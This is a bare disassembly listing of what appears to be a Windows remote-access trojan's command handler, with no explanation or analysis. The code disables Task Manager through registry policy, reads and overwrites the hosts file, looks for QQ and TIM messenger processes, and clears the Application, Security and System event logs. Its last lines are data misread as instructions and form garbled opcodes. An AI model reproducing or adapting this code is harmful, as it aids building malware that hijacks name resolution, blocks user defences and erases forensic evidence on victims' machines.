jmp 0x40c872
push 0
push 0
push 0
push 0x409a90
push 0
push 0
mov dword [0x451d0c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409ae0
push 0
push 0
mov dword [0x451d08], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409b80
push 0
push 0
mov dword [0x451d00], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409b30
push 0
push 0
mov dword [0x451d04], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0x44a464
call fcn.00422f39
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a47c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x40a47c.2
push 0x4494ec
call fcn.00422f39
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a47c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x40a47c.2
mov edx, ecx
mov ecx, esi
call fcn.00409bd0
jmp case.0x40a47c.2
mov esi, dword [sym.imp.USER32.dll_BroadcastSystemMessageA]
push 0
push 2
push 0x10
push 0
push 2
call esi
push 0
push 2
push 0x10
push 0
push 4
call esi
push 0
push 2
push 0x10
push 0
push 8
call esi
push 0
push 2
push 0x10
push 0
push 0x20
call esi
push 0
push 2
push 0x10
push 0
push 0x30
call esi
push 0
push 2
push 0x10
push 0
push 0x40
call esi
push 0
push 2
push 0x10
push 0
push 0x80
call esi
push 0
push 2
push 0x10
push 0
push 0x100
call esi
push 0
push 2
push 0x10
push 0
push 0x10
call esi
jmp case.0x40a47c.2
push 0x201
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 0x2cc], 0
xorps xmm0, xmm0
mov dword [ebp - 0xd28], esi
movups xmmword [ebp - 0x2dc], xmm0
mov dword [ebp - 0x2c8], 0xf
mov byte [esi], 0xcf
mov dword [ebp - 0x18], 0x652e5151
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x28], 0x2e4d4954
mov dword [ebp - 0x24], 0x657865
mov byte [ebp - 0x2dc], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0x10
push eax
call fcn.004041e0
test eax, eax
je 0x40cb7d
lea ecx, [ebp - 0x18]
jmp 0x40cb8d
lea eax, [ebp - 0x28]
push eax
call fcn.004041e0
test eax, eax
je 0x40cb98
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x588]
call fcn.00405f00
lea edi, [esi + 1]
mov ecx, 0x80
lea esi, [ebp - 0x588]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd28]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004111e0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x40a47c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cc4f
lea ecx, [ebp - 0x2e8]
push ecx
call eax
mov ax, word [ebp - 0x2e8]
cmp ax, 9
je 0x40cc31
cmp ax, 6
jne 0x40cc4f
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc38
mov ecx, 7
mov esi, str._sysnativedriversetchosts
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40cc6a
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc56
mov ecx, 7
mov esi, str._system32driversetchosts
rep movsd dword es:[edi], dword [esi]
push 0x80
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xd28], eax
cmp eax, 0xffffffff
je case.0x40a47c.2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [esi + 2]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push esi
mov esi, dword [ebp - 0xd28]
lea ecx, [edi + 1]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40ccef
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a47c.2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov byte [edi], 0xdc
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push edi
call fcn.004111e0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x40a47c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cd9a
lea ecx, [ebp - 0x2e8]
push ecx
call eax
mov ax, word [ebp - 0x2e8]
cmp ax, 9
je 0x40cd7c
cmp ax, 6
jne 0x40cd9a
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cd83
mov ecx, 7
mov esi, str._sysnativedriversetchosts
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40cdb5
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cda1
mov ecx, 7
mov esi, str._system32driversetchosts
rep movsd dword es:[edi], dword [esi]
push 0x80
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je case.0x40a47c.118
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0xd20]
push dword [ebp - 0xd2c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x98d
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [ebp - 0xd14]
mov dword [ebp - 0xd28], esi
mov byte [esi], 0xdd
call fcn.00407460
lea edi, [esi + 1]
mov ecx, 0x263
lea esi, [ebp - 0xd14]
jmp 0x40cba6
mov edx, ecx
mov ecx, esi
call fcn.004081c0
jmp case.0x40a47c.2
movzx ecx, byte [esi + 1]
call fcn.00403fa0
jmp case.0x40a47c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.0041cce0
push 0x4533c8
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e69614d
push eax
lea eax, [ebp - 0x788]
mov dword [ebp - 0x18], 0x5c6c6c44
push eax
mov word [ebp - 0x14], 0x7325
mov byte [ebp - 0x12], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x44a520
lea edx, [ebp - 0x788]
mov ecx, SysReAllocString
call fcn.00413540
add esp, 0x14
jmp case.0x40a47c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.0041cce0
push 0x4533c8
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e69614d
push eax
lea eax, [ebp - 0x788]
mov dword [ebp - 0x18], 0x5c6c6c44
push eax
mov word [ebp - 0x14], 0x7325
mov byte [ebp - 0x12], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x4494c8
jmp 0x40ceb2
lea ecx, [esi + 1]
mov edx, 1
call fcn.00409c10
jmp case.0x40a47c.2
lea ecx, [esi + 1]
xor edx, edx
call fcn.00409c10
jmp case.0x40a47c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.0041cce0
lea eax, [ebp - 0x788]
push str.MainDllClore
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x44a568
jmp 0x40ceb2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.0041cce0
lea eax, [ebp - 0x788]
push str.MainDllClore
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x44a570
jmp 0x40ceb2
mov eax, dword [edi + 4]
inc dword [eax + 0x50]
jmp case.0x40a47c.2
call fcn.0040d490
jmp case.0x40a47c.2
movzx eax, byte [esi + 1]
dec eax
mov dword [ebp - 0x1c], str.Application
mov dword [ebp - 0x18], str.Security
mov dword [ebp - 0x14], str.System
cmp eax, 3
ja case.0x40a47c.2
jmp dword [eax*4 + 0x40d294]
mov dword [ebp - 0x14], 0x44aace
jmp 0x40d020
mov dword [ebp - 0x1c], 0x44aace
mov dword [ebp - 0x14], 0x44aace
jmp case.0x40cff9.1
mov dword [ebp - 0x1c], 0x44aace
mov dword [ebp - 0x18], 0x44aace
xor esi, esi
nop dword [eax]
push dword [ebp + esi*4 - 0x1c]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x40d052
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jb 0x40d030
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret 8
push 0x80004005
call fcn.00410df0
push 0x80004005
call fcn.00410df0
call fcn.00404130
push 0x80004005
call fcn.00410df0
push 0x80004005
call fcn.00410df0
call fcn.0041fc65
call fcn.004041d0
call fcn.00406660
nop dword [eax]
ror edi, 0x40
add byte [ecx], bl
int 0x40
add byte [edx - 0x6affbf5a], bh
cmpsd dword [esi], dword es:[edi]
inc eax
add al, ch
test eax, 0xa8280040
inc eax
add byte [ebp - 0x57], dl
inc eax
add byte [edx + 0x150040aa], al
stosd dword es:[edi], eax
inc eax
add byte [eax + 0x420040ab], ch
lodsb al, byte [esi]
inc eax
add ch, dl
lodsb al, byte [esi]
inc eax
add byte [ebx], dh
scasb al, byte es:[edi]
inc eax
add dh, al
scasb al, byte es:[edi]
inc eax
add byte [ecx - 0x51], bl
inc eax
add dl, dh
scasd eax, dword es:[edi]
inc eax
add byte [ebp + 0x180040b0], al
mov cl, 0x40
add dh, cl
retf